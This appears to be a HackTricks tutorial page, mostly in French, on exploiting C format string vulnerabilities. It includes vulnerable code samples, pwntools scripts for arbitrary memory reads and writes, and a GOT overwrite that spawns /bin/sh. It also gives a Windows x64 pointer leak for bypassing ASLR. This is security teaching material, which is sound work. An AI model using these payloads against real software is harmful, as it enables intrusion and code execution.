Format Strings
Reading time: 11 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
En C, printf
est une fonction qui peut être utilisée pour afficher une chaîne. Le premier paramètre que cette fonction attend est le texte brut contenant les spécificateurs de format. Les paramètres suivants attendus sont les valeurs servant à substituer les spécificateurs dans le texte brut.
D'autres fonctions vulnérables sont sprintf()
et fprintf()
.
La vulnérabilité apparaît lorsqu'un texte contrôlé par l'attaquant est utilisé comme premier argument de cette fonction. L'attaquant pourra fabriquer une entrée spéciale abusant de la chaîne de format de printf
pour lire et écrire n'importe quelles données à n'importe quelle adresse (readable/writable). Cela permet d'exécuter du code arbitraire.
Spécificateurs de format:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Exemples:
- Exemple vulnérable:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Utilisation normale :
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Avec des arguments manquants:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf vulnérable:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Accéder aux pointeurs
Le format %<n>$x
, où n
est un nombre, permet d'indiquer à printf de sélectionner le nième paramètre (depuis le stack). Donc si vous voulez lire le 4e paramètre du stack en utilisant printf vous pouvez faire :
printf("%x %x %x %x")
et vous liriez du premier au quatrième paramètre.
Ou vous pourriez faire :
printf("%4$x")
et lire directement le quatrième.
Remarquez que l'attaquant contrôle le paramètre de printf
, ce qui signifie essentiellement que son entrée sera dans la stack lorsque printf
est appelé, ce qui veut dire qu'il pourrait écrire des memory addresses spécifiques dans la stack.
caution
Un attaquant contrôlant cette entrée pourra ajouter des memory addresses arbitraires dans la stack et faire en sorte que printf
y accède. Dans la section suivante il sera expliqué comment utiliser ce comportement.
Arbitrary Read
Il est possible d'utiliser le formatter %n$s
pour faire en sorte que printf
récupère l'address située en position n, la suive et l'affiche comme si c'était une string (affiche jusqu'à rencontrer 0x00). Donc, si l'adresse de base du binaire est 0x8048000
, et que nous savons que l'entrée utilisateur commence en 4th position dans la stack, il est possible d'imprimer le début du binaire avec :
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
Notez que vous ne pouvez pas mettre l'adresse 0x8048000 au début de l'entrée car la chaîne sera coupée par le 0x00 à la fin de cette adresse.
Trouver l'offset
Pour trouver l'offset de votre entrée, vous pouvez envoyer 4 ou 8 octets (0x41414141
) suivis de %1$x
et augmenter la valeur jusqu'à récupérer les A's
.
Brute Force printf offset
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
Utilité
Les lectures arbitraires peuvent être utiles pour :
- Dump le binary depuis la mémoire
- Accéder à des parties spécifiques de la mémoire où des informations sensibles sont stockées (comme les canaries, encryption keys ou custom passwords comme dans ce CTF challenge)
Arbitrary Write
Le formatter %<num>$n
écrit le nombre d'octets écrits à l'adresse indiquée dans le paramètre %<num>$n
écrive un nombre arbitraire à une adresse arbitraire.
Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée ; il est possible d'utiliser le formatter %.<num-write>%<num>$n
pour écrire le nombre <num-write>
dans l'adresse pointée par la position num
.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Cependant, notez que, généralement, pour écrire une adresse telle que 0x08049724
(qui est un nombre ÉNORME à écrire d'un coup), on utilise $hn
au lieu de $n
. Cela permet de n'écrire que 2 octets. Par conséquent, cette opération est effectuée deux fois : une pour les 2 octets supérieurs de l'adresse et une autre pour les 2 octets inférieurs.
Ainsi, cette vulnérabilité permet de écrire n'importe quoi à n'importe quelle adresse (arbitrary write).
Dans cet exemple, l'objectif sera de écraser l'adresse d'une fonction dans la table GOT qui sera appelée plus tard. Cela pourrait cependant être exploité via d'autres techniques arbitrary write to exec :
Nous allons écraser une fonction qui reçoit ses arguments de l'utilisateur et la pointer vers la fonction system
.
Comme mentionné, pour écrire l'adresse, il faut généralement 2 étapes : vous écrivez d'abord 2 octets de l'adresse puis les 2 autres. Pour cela, on utilise $hn
.
- HOB correspond aux 2 octets supérieurs de l'adresse
- LOB correspond aux 2 octets inférieurs de l'adresse
Ensuite, en raison du fonctionnement des format string vous devez écrire d'abord le plus petit de [HOB, LOB] puis l'autre.
Si HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Si HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Modèle Pwntools
Vous pouvez trouver un modèle pour préparer un exploit pour ce type de vulnérabilité dans:
Ou cet exemple basique disponible here:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
Il est possible d'abuser des actions d'écriture d'une vulnérabilité de format string pour écrire aux adresses de la stack et exploiter un type de vulnérabilité buffer overflow.
Windows x64: Format-string leak to bypass ASLR (no varargs)
Sur Windows x64 les quatre premiers paramètres entiers/pointeurs sont passés dans les registres : RCX, RDX, R8, R9. Dans de nombreux call-sites bogués la chaîne contrôlée par l'attaquant est utilisée comme argument de format mais aucun varargs n'est fourni, par exemple:
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
Comme aucun varargs n'est passé, toute conversion comme "%p", "%x", "%s" forcera le CRT à lire le prochain argument variadic depuis le registre approprié. Avec la convention d'appel Microsoft x64 la première telle lecture pour "%p" provient de R9. La valeur transitoire contenue dans R9 au site d'appel sera imprimée. En pratique, cela provoque souvent le leak d'un pointeur stable à l'intérieur du module (e.g., un pointeur vers un objet local/global précédemment placé dans R9 par le code environnant ou une callee-saved value), qui peut être utilisé pour récupérer la base du module et contourner l'ASLR.
Practical workflow :
- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as
leak - known_offset
. - Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
Exemple (python abrégé) :
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
Notes :
- L'offset exact à soustraire est trouvé une fois lors du reversing local puis réutilisé (même binaire/version).
- If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack.
- Ce pattern est spécifique à la calling convention Windows x64 et aux implémentations de printf-family qui récupèrent des varargs inexistants depuis des registres lorsque le format string les demande.
Cette technique est extrêmement utile pour bootstrapper ROP sur des services Windows compilés avec ASLR et sans primitives évidentes de divulgation de mémoire.
Autres exemples & références
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, utilisation basique des format strings pour leak le flag depuis la stack (pas besoin d'altérer le flux d'exécution)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string pour écraser l'adresse
fflush
avec la fonction win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, format string pour écrire une adresse dans main dans
.fini_array
(donc le flux revient une fois de plus) et écrire l'adresse desystem
dans la table GOT qui pointe versstrlen
. Lorsque le flux revient à main,strlen
est exécutée avec l'entrée utilisateur et pointant verssystem
, elle exécutera les commandes passées.
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.